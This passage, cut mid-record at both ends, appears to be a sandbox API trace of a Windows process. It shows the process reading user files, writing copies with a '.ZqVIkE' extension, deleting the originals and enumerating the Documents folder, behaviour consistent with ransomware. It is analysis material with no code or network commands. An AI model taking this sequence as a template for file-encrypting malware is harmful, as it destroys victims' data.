out: lpBuffer=0x265a870*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0078.202] WriteFile (in: hFile=0x2ec, lpBuffer=0x265d2d8*, nNumberOfBytesToWrite=0xd120, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x265d2d8*, lpNumberOfBytesWritten=0x71ee88*=0xd120, lpOverlapped=0x0) returned 1 [0078.203] ReadFile (in: hFile=0x20c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0078.203] CloseHandle (hObject=0x20c) returned 1 [0078.203] WriteFile (in: hFile=0x2ec, lpBuffer=0x265a870*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x265a870*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0078.203] CloseHandle (hObject=0x2ec) returned 1 [0078.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav", lpFilePart=0x0) returned 0x2e [0078.250] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\gSZ285dW.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\gsz285dw.wav")) returned 1 [0078.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx.ZqVIkE", lpFilePart=0x0) returned 0x38 [0078.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0078.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\k7jxcnm8fl.docx.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0078.384] GetFileType (hFile=0x2ec) returned 0x1 [0078.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0078.384] GetFileType (hFile=0x2ec) returned 0x1 [0079.989] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx", lpFilePart=0x0) returned 0x31 [0079.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0079.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\k7jxcnm8fl.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0079.990] GetFileType (hFile=0x20c) returned 0x1 [0079.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0079.990] GetFileType (hFile=0x20c) returned 0x1 [0079.991] ReadFile (in: hFile=0x20c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x93ba, lpOverlapped=0x0) returned 1 [0080.000] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0080.000] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0080.003] WriteFile (in: hFile=0x2ec, lpBuffer=0x274e180*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x274e180*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0080.004] WriteFile (in: hFile=0x2ec, lpBuffer=0x2750bf0*, nNumberOfBytesToWrite=0x83d0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2750bf0*, lpNumberOfBytesWritten=0x71ee88*=0x83d0, lpOverlapped=0x0) returned 1 [0080.005] ReadFile (in: hFile=0x20c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0080.005] CloseHandle (hObject=0x20c) returned 1 [0080.005] WriteFile (in: hFile=0x2ec, lpBuffer=0x274e180*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x274e180*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0080.005] CloseHandle (hObject=0x2ec) returned 1 [0080.007] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx", lpFilePart=0x0) returned 0x31 [0080.007] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\k7jXCNM8fl.docx" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\k7jxcnm8fl.docx")) returned 1 [0080.057] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav.ZqVIkE", lpFilePart=0x0) returned 0x34 [0080.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0080.057] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\lhl2bh6.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0080.057] GetFileType (hFile=0x2ec) returned 0x1 [0080.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0080.057] GetFileType (hFile=0x2ec) returned 0x1 [0082.057] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav", lpFilePart=0x0) returned 0x2d [0082.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0082.058] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\lhl2bh6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0082.058] GetFileType (hFile=0x20c) returned 0x1 [0082.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0082.058] GetFileType (hFile=0x20c) returned 0x1 [0082.060] ReadFile (in: hFile=0x20c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x2cd0, lpOverlapped=0x0) returned 1 [0082.066] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0082.066] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0082.069] WriteFile (in: hFile=0x2ec, lpBuffer=0x2636450*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2636450*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0082.070] WriteFile (in: hFile=0x2ec, lpBuffer=0x2638eb0*, nNumberOfBytesToWrite=0x1cf0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x2638eb0*, lpNumberOfBytesWritten=0x71ee88*=0x1cf0, lpOverlapped=0x0) returned 1 [0082.070] ReadFile (in: hFile=0x20c, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0082.070] CloseHandle (hObject=0x20c) returned 1 [0082.070] WriteFile (in: hFile=0x2ec, lpBuffer=0x2636450*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2636450*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0082.070] CloseHandle (hObject=0x2ec) returned 1 [0082.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav", lpFilePart=0x0) returned 0x2d [0082.141] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\lHl2bH6.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\lhl2bh6.wav")) returned 1 [0082.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv.ZqVIkE", lpFilePart=0x0) returned 0x3b [0082.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0082.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\r3p y ootsedxa.csv.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0082.302] GetFileType (hFile=0x2ec) returned 0x1 [0082.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0082.302] GetFileType (hFile=0x2ec) returned 0x1 [0084.142] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv", lpFilePart=0x0) returned 0x34 [0084.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0084.143] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\r3p y ootsedxa.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0084.143] GetFileType (hFile=0x20c) returned 0x1 [0084.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0084.143] GetFileType (hFile=0x20c) returned 0x1 [0084.147] ReadFile (in: hFile=0x20c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x4a4b, lpOverlapped=0x0) returned 1 [0084.159] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0084.159] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0084.162] WriteFile (in: hFile=0x2ec, lpBuffer=0x2720868*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2720868*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0084.163] WriteFile (in: hFile=0x2ec, lpBuffer=0x27232e8*, nNumberOfBytesToWrite=0x3a60, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x27232e8*, lpNumberOfBytesWritten=0x71ee88*=0x3a60, lpOverlapped=0x0) returned 1 [0084.163] ReadFile (in: hFile=0x20c, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0084.164] CloseHandle (hObject=0x20c) returned 1 [0084.164] WriteFile (in: hFile=0x2ec, lpBuffer=0x2720868*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2720868*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0084.164] CloseHandle (hObject=0x2ec) returned 1 [0084.221] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv", lpFilePart=0x0) returned 0x34 [0084.221] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\R3p y ootSEDXa.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\r3p y ootsedxa.csv")) returned 1 [0084.311] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav.ZqVIkE", lpFilePart=0x0) returned 0x3b [0084.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0084.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\rjrspeb9rmozaa.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0084.353] GetFileType (hFile=0x2ec) returned 0x1 [0084.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0084.353] GetFileType (hFile=0x2ec) returned 0x1 [0086.220] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav", lpFilePart=0x0) returned 0x34 [0086.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0086.220] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\rjrspeb9rmozaa.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0086.220] GetFileType (hFile=0x20c) returned 0x1 [0086.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0086.220] GetFileType (hFile=0x20c) returned 0x1 [0086.222] ReadFile (in: hFile=0x20c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x163dd, lpOverlapped=0x0) returned 1 [0086.233] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0086.233] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0086.240] WriteFile (in: hFile=0x2ec, lpBuffer=0x25b9f10*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x25b9f10*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0086.240] WriteFile (in: hFile=0x2ec, lpBuffer=0x125a2948*, nNumberOfBytesToWrite=0x153f0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x125a2948*, lpNumberOfBytesWritten=0x71ee88*=0x153f0, lpOverlapped=0x0) returned 1 [0086.241] ReadFile (in: hFile=0x20c, lpBuffer=0x127a19d8, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x127a19d8*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0086.241] CloseHandle (hObject=0x20c) returned 1 [0086.242] WriteFile (in: hFile=0x2ec, lpBuffer=0x25b9f10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x25b9f10*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0086.242] CloseHandle (hObject=0x2ec) returned 1 [0086.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav", lpFilePart=0x0) returned 0x34 [0086.255] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\TE_1NVah4\\RjRSPeb9rmoZaa.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\te_1nvah4\\rjrspeb9rmozaa.wav")) returned 1 [0086.336] CoTaskMemAlloc (cb=0x20c) returned 0x1ae54860 [0086.336] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1ae54860 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0086.344] CoTaskMemFree (pv=0x1ae54860) [0086.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x71e8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0086.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71eed0) returned 1 [0086.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x105, lpBuffer=0x71e970, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0086.359] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*.*", lpFindFileData=0x71ebf0 | out: lpFindFileData=0x71ebf0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7a36b7, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7a36b7, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50eb0 [0086.364] FindClose (in: hFindFile=0x1ae50eb0 | out: hFindFile=0x1ae50eb0) returned 1 [0086.364] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7a36b7, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7a36b7, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50730 [0086.364] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xf7a36b7, ftLastAccessTime.dwHighDateTime=0x1d63332, ftLastWriteTime.dwLowDateTime=0xf7a36b7, ftLastWriteTime.dwHighDateTime=0x1d63332, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.364] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15b860f0, ftCreationTime.dwHighDateTime=0x1d5f4c4, ftLastAccessTime.dwLowDateTime=0x5ebb0500, ftLastAccessTime.dwHighDateTime=0x1d5d07a, ftLastWriteTime.dwLowDateTime=0x5ebb0500, ftLastWriteTime.dwHighDateTime=0x1d5d07a, nFileSizeHigh=0x0, nFileSizeLow=0x152c, dwReserved0=0x0, dwReserved1=0x0, cFileName="0fhYK7 ZAn.docx", cAlternateFileName="0FHYK7~1.DOC")) returned 1 [0086.364] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd60bb280, ftCreationTime.dwHighDateTime=0x1d62958, ftLastAccessTime.dwLowDateTime=0x211994c0, ftLastAccessTime.dwHighDateTime=0x1d62fe1, ftLastWriteTime.dwLowDateTime=0x211994c0, ftLastWriteTime.dwHighDateTime=0x1d62fe1, nFileSizeHigh=0x0, nFileSizeLow=0xaa5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="30Fhx80NZcT_HiY.xls", cAlternateFileName="30FHX8~1.XLS")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82639f0, ftCreationTime.dwHighDateTime=0x1d5b505, ftLastAccessTime.dwLowDateTime=0x285c4fa0, ftLastAccessTime.dwHighDateTime=0x1d5d07f, ftLastWriteTime.dwLowDateTime=0x285c4fa0, ftLastWriteTime.dwHighDateTime=0x1d5d07f, nFileSizeHigh=0x0, nFileSizeLow=0x178ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="6FWSuY_NqiSfv927PK.pptx", cAlternateFileName="6FWSUY~1.PPT")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa392bab0, ftCreationTime.dwHighDateTime=0x1d5a9d8, ftLastAccessTime.dwLowDateTime=0x7835e2d0, ftLastAccessTime.dwHighDateTime=0x1d5ccd7, ftLastWriteTime.dwLowDateTime=0x7835e2d0, ftLastWriteTime.dwHighDateTime=0x1d5ccd7, nFileSizeHigh=0x0, nFileSizeLow=0xf0e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="77VtTDD.pptx", cAlternateFileName="77VTTD~1.PPT")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49453450, ftCreationTime.dwHighDateTime=0x1d6330a, ftLastAccessTime.dwLowDateTime=0xd7ad7b70, ftLastAccessTime.dwHighDateTime=0x1d62ba4, ftLastWriteTime.dwLowDateTime=0xd7ad7b70, ftLastWriteTime.dwHighDateTime=0x1d62ba4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="936-YDa6e2qqw", cAlternateFileName="936-YD~1")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x415a640, ftCreationTime.dwHighDateTime=0x1d62328, ftLastAccessTime.dwLowDateTime=0x48310bc0, ftLastAccessTime.dwHighDateTime=0x1d62491, ftLastWriteTime.dwLowDateTime=0x48310bc0, ftLastWriteTime.dwHighDateTime=0x1d62491, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Lfd9", cAlternateFileName="")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75bdd7d0, ftCreationTime.dwHighDateTime=0x1d60457, ftLastAccessTime.dwLowDateTime=0xfd408dd0, ftLastAccessTime.dwHighDateTime=0x1d62561, ftLastWriteTime.dwLowDateTime=0xfd408dd0, ftLastWriteTime.dwHighDateTime=0x1d62561, nFileSizeHigh=0x0, nFileSizeLow=0x87c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cqgQYnfVItPQOu.xlsx", cAlternateFileName="CQGQYN~1.XLS")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440c5760, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440c5760, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.365] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71eb30 